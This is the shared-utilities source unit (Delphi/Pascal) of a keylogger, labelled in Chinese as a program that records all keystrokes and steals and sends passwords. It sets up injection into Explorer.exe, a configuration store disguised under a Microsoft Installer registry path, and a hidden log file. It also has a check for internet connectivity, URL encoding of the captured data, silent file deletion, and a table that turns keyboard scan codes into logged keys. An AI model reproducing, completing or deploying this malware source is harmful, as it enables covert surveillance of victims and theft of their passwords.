publics.pas

键盘全记录密码盗取发送程序源代码

unit Publics;

interface

uses
  Windows,Messages,SysUtils,ShellAPI,Registry,WinInet;

const
  HotKeyMutex   = 'xh_HotKey_20060101';
  DllMutex      = 'xh_DllMutexThread_20060101';
  ProcessName   = 'Explorer.exe';     // 插入进程对象
  FileMapName   = 'xh_FileMap_20060101';
  RegConfigSave = '\Software\Microsoft\Installer\';  //HKEY_CURRENT_USER下的 配置信息保存位置
  cryptstrKey   = 'xh_cryptstrKey_20060101';   
  Modal         = 'MMDDHHMM';   //时间格式化格式
  Modal2        = 'YYYY-MM-DD HH:MM:SS';   //时间格式化格式

var
  PMainThreadID: PDWORD;
  MutexHandle, FileHandle, SubThreadID: DWORD;
  ModuleFileName: array [0..MAX_PATH] of Char;
  InExplorer: Boolean = FALSE; 
  HookSaveFile:string='michael_R.tmp';

function  ExtractFileName(const FileName: string): string;
function  GetMySystemDirectory: string;
function  CompareAnsiText(const S1, S2: string): Boolean;
function  GetTempFileName(const StringLong:integer=5):String;
function  InternetConnected: Boolean;
function  HtmlEncode(s: string): string;
function  deltree(const Path:string):boolean;
function  RemoveDirFiles(dir:string):Boolean;function  GetWindowsDirectory:String;
function  IsEMail(EMail: String): Boolean;
procedure SetRegStrValue(Root: HKEY; Path, Value, Data: PChar);
Function  RegKeyExists(RootKEY:HKEY;Const Openkey,KeyName:string):boolean;
Function  GetRegStringKey(RootKEY:HKEY;Const Openkey,KeyName:string):String;
Function  GetRegIntegerKey(RootKEY:HKEY;Const Openkey,KeyName:string):integer;
function  keyresult(lp:integer;wp:integer):string;
function  CovFileDate(Fd: _FileTime): TDateTime;
function  GetFileModifyDate(const Tf: string):String;
function  GetFileCreateDate(const Tf: string):String;


implementation

function GetMySystemDirectory: string;
var
  i: DWORD;
begin
  i := MAX_PATH + 1;
  setlength(result, i);
  i := Windows.GetSystemDirectory(@result[1], i);
  setlength(result, i);
  if result[i] <> '\' then result := result + '\';
end;

function ExtractFileName(const FileName: string): string;
var
  P: Integer;
begin
  P := Length(FileName);
  while (P > 0) and (FileName[P] <> '\') and (FileName[P] <> ':') do Dec(P);
  Result := Copy(FileName, P + 1, Length(FileName)-P);
end;

function CompareAnsiText(const S1, S2: string): Boolean;
begin
  Result := CompareString(LOCALE_USER_DEFAULT, NORM_IGNORECASE, PChar(S1), -1, PChar(S2), -1) = 2;
end;

function GetTempFileName(const StringLong:integer=5):String;
var  i:integer;
begin
  Randomize;
  for i:=1 to StringLong do result:=result+chr(97+random(26));
end;

function GetWindowsDirectory:String;
var sysdir:array [0..255] of char;
begin
  Windows.GetWindowsDirectory(sysdir,255);
  Result :=sysdir;
  if copy(Result,length(Result),1)<>'\' then
  Result:=Result+'\';
end;

function InternetConnected: Boolean;
const
 INTERNET_CONNECTION_MODEM      = 1;
 INTERNET_CONNECTION_LAN        = 2;
 INTERNET_CONNECTION_PROXY      = 4;
 INTERNET_CONNECTION_MODEM_BUSY = 8;
var
 dwConnectionTypes : DWORD;
begin
 dwConnectionTypes := INTERNET_CONNECTION_MODEM+ INTERNET_CONNECTION_LAN
 + INTERNET_CONNECTION_PROXY;
 Result := InternetGetConnectedState(@dwConnectionTypes, 0);
end;


function HtmlEncode(s: string): string;
const
  NoConversion = ['A'..'Z', 'a'..'z', '*', '@', '.', '_', '-',
    '0'..'9', '$', '!', '''', '(', ')'];
var
  i, v1, v2: integer;
  function i2s(b: byte): char;
  begin
    if b <= 9 then result := chr($30 + b)
    else result := chr($41 - 10 + b);
  end;
begin
  result := '';
  for i := 1 to length(s) do
    if s[i] = ' ' then result := result + '+'
    else if (s[i] >= #$80) or (s[i] in NoConversion) then
      result := result + s[i]
    else begin
      v1 := ord(s[i]) mod 16;
      v2 := ord(s[i]) div 16;
      result := result + '%' + i2s(v2) + i2s(v1);
    end;
end;

function deltree(const Path:string):boolean;
var
  p:_shfileopstruct;
begin
  p.wFunc:=FO_delete;
  p.pFrom:=pchar(Path);
  p.pTo:=nil;
  p.fFlags:=fof_noconfirmation;
  p.fAnyOperationsAborted:=true;
  Result := (shfileoperation(p) = 0);
end;

function RemoveDirFiles(dir:string):Boolean;
var
     DirInfo: TSearchRec;
     r : Integer;
begin
      r := FindFirst(dir+'\*.*', FaAnyfile, DirInfo);
      while r = 0 do
          begin
              if ((DirInfo.Attr and FaDirectory <> FaDirectory) and
                 (DirInfo.Attr and FaVolumeId <> FaVolumeID)) then
                 if DeleteFile(pChar(dir+'\' + DirInfo.Name)) then
                    Result:=true
                 else Result:=false;
              r := FindNext(DirInfo);
          end;
      FindClose(DirInfo);
end;

function IsEMail(EMail: String): Boolean;
var s: String;ETpos: Integer;
begin
  ETpos:= pos('@', EMail);
  if ETpos > 1 then
  begin
    s:= copy(EMail,ETpos+1,Length(EMail));
    if (pos('.', s) > 1) and (pos('.', s) < length(s)) then Result:= true else Result:= false;
    end else Result:= false;
end;




procedure SetRegStrValue(Root: HKEY; Path, Value, Data: PChar);
  function StrLen(const Str: PChar): Cardinal; assembler;
  asm
       MOV     EDX,EDI
       MOV     EDI,EAX
       MOV     ECX,0FFFFFFFFH
       XOR     AL,AL
       REPNE   SCASB
       MOV     EAX,0FFFFFFFEH
       SUB     EAX,ECX
       MOV     EDI,EDX
  end;
var
  TempKey: HKey; Disposition, DataSize: Integer;
begin
  TempKey := $0;  Disposition := REG_CREATED_NEW_KEY;  DataSize := StrLen(Data) + 1;
  RegCreateKeyEx(Root, Path, 0, nil, 0, KEY_ALL_ACCESS, nil, TempKey, @Disposition);
  RegSetValueEx(TempKey, Value, 0, REG_SZ, Data, DataSize);  RegCloseKey(TempKey);
end;


Function RegKeyExists(RootKEY:HKEY;Const Openkey,KeyName:string):boolean;
var Reg:TRegistry;
begin
   try
   Reg:=TRegistry.Create;
   Reg.RootKey:=RootKey;
   if (Reg.OpenKey(OpenKey,False))and(Reg.KeyExists(KeyName)) then Result:=True else Result:=False;
   finally
   Reg.CloseKey;
   Reg.Free;
   end;
end;

Function GetRegStringKey(RootKEY:HKEY;Const Openkey,KeyName:string):String;
var
   Reg:TRegistry;
begin
  try
  Result :='';
  Reg:=TRegistry.Create;
  Reg.RootKey:=RootKey;
  if (Reg.OpenKey(OpenKey,False))and(Reg.ValueExists(KeyName)) then  Result:=Reg.ReadString(KeyName);
  finally
  Reg.CloseKey;
  Reg.Free;
  end;
end;

Function GetRegIntegerKey(RootKEY:HKEY;Const Openkey,KeyName:string):integer;
var
  Reg:TRegistry;
begin
  try
  Result :=0;
  Reg:=TRegistry.Create;
  Reg.RootKey:=RootKey;
  if (Reg.OpenKey(OpenKey,False))and(Reg.ValueExists(KeyName)) then Result:=Reg.ReadInteger(KeyName);
  finally
  Reg.CloseKey;
  Reg.Free;
  end;
end;


function KeyResult(lp:integer;wp:integer):string;
begin
  result := '';
  case lp of
    10688: result := '`';
    561: Result := '1';
    818: result := '2';
    1075: result := '3';
    1332: result := '4';
    1589: result := '5';
    1846: result := '6';
    2103: result := '7';
    2360: result := '8';
    2617: result := '9';
    2864: result := '0';
    3261: result := '-';
    3515: result := '=';
    4177: result := 'Q';
    4439: result := 'W';
    4677: result := 'E';
    4946: result := 'R';
    5204: result := 'T';
    5465: result := 'Y';
    5717: result := 'U';
    5961: result := 'I';
    6223: result := 'O';
    6480: result := 'P';
    6875: result := '[';
    7133: result := ']';
    11228: result := '\';
    7745: result := 'A';
    8019: result := 'S';
    8260: result := 'D';
    8518: result := 'F';
    8775: result := 'G';
    9032: result := 'H';
    9290: result := 'J';
    9547: result := 'K';
    9804: result := 'L';
    10170: result := ';';
    10462: result := '''';
    11354: result := 'Z';
    11608: result := 'X';
    11843: result := 'C';
    12118: result := 'V';
    12354: result := 'B';
    12622: result := 'N';
    12877: result := 'M';
    13244: result := ',';
    13502: result := '.';
    13759: result := '/';
    13840: result := '[RShift]';
    14624: result := '[Space]';
    283: result := '[Esc]';
    15216: result := '[F1]';
    15473: result := '[F2]';
    15730: result := '[F3]';
    15987: result := '[F4]';
    16244: result := '[F5]';
    16501: result := '[F6]';
    16758: result := '[F7]';
    17015: result := '[F8]';
    17272: result := '[F9]';
    17529: result := '[F10]';
    22394: result := '[F11]';
    22651: result := '[F12]';
    10768: Result := '[LShift]';
    14868: result := '[CapsLock]';
    3592: result := '[Backspace]';
    3849: result := '[Tab]';
    7441:
      if wp > 30000 then
        result := '[RCtrl]'
      else
        result := '[LCtrl]';
    13679: result := '[Num/]';
    17808: result := '[NumLock]';
    300: result := '[PrintScreen]';
    18065: result := '[ScrollLock]';
    17683: result := '[Pause]';
    21088: result := '[Num0]';
    21358: result := '[Num.]';
    20321: result := '[Num1]';
    20578: result := '[Num2]';
    20835: result := '[Num3]';
    19300: result := '[Num4]';
    19557: result := '[Num5]';
    19814: result := '[Num6]';
    18279: result := '[Num7]';
    18536: result := '[Num8]';
    18793: result := '[Num9]';
    19468: result := '[*5*]';
    14186: result := '[Num *]';
    19053: result := '[Num -]';
    20075: result := '[Num +]';
    21037: result := '[Insert]';
    21294: result := '[Delete]';
    18212: result := '[Home]';
    20259: result := '[End]';
    18721: result := '[PageUp]';
    20770: result := '[PageDown]';
    18470: result := '[UP]';
    20520: result := '[DOWN]';
    19237: result := '[LEFT]';
    19751: result := '[RIGHT]';
    7181: result := '[Enter]';
  end;
end;

function CovFileDate(Fd: _FileTime): TDateTime;
var
  Tct:_SystemTime; Temp:_FileTime;
begin
  FileTimeToLocalFileTime(Fd,Temp);
  FileTimeToSystemTime(Temp,Tct);
  CovFileDate:=SystemTimeToDateTime(Tct);
end;

function GetFileModifyDate(const Tf: string):String;
var
   Tp:TSearchRec;
begin
   FindFirst(Tf,faAnyFile,Tp);
   result:=FormatDateTime(Modal,CovFileDate(Tp.FindData.ftLastWriteTime));
end;

function GetFileCreateDate(const Tf: string):String;
var
   Tp:TSearchRec;
begin
   FindFirst(Tf,faAnyFile,Tp);
   result:=FormatDateTime(Modal,CovFileDate(Tp.FindData.ftCreationTime));
end;


end.